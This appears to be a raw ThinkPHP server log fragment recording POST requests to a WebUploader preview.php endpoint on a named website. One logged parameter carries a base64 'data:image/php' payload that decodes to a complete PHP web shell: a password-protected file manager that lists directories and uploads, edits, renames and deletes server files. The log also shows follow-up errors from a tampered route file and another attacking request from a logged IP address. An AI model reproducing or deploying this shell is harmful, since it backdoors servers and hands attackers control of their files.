'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:36+08:00 ] 116.213.36.234 POST www.51tianwei.com/Public/manage/webuploader/server/preview.php [运行时间:0.002509s] [吞吐率:398.58req/s] [内存消耗:196.76kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'manage', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 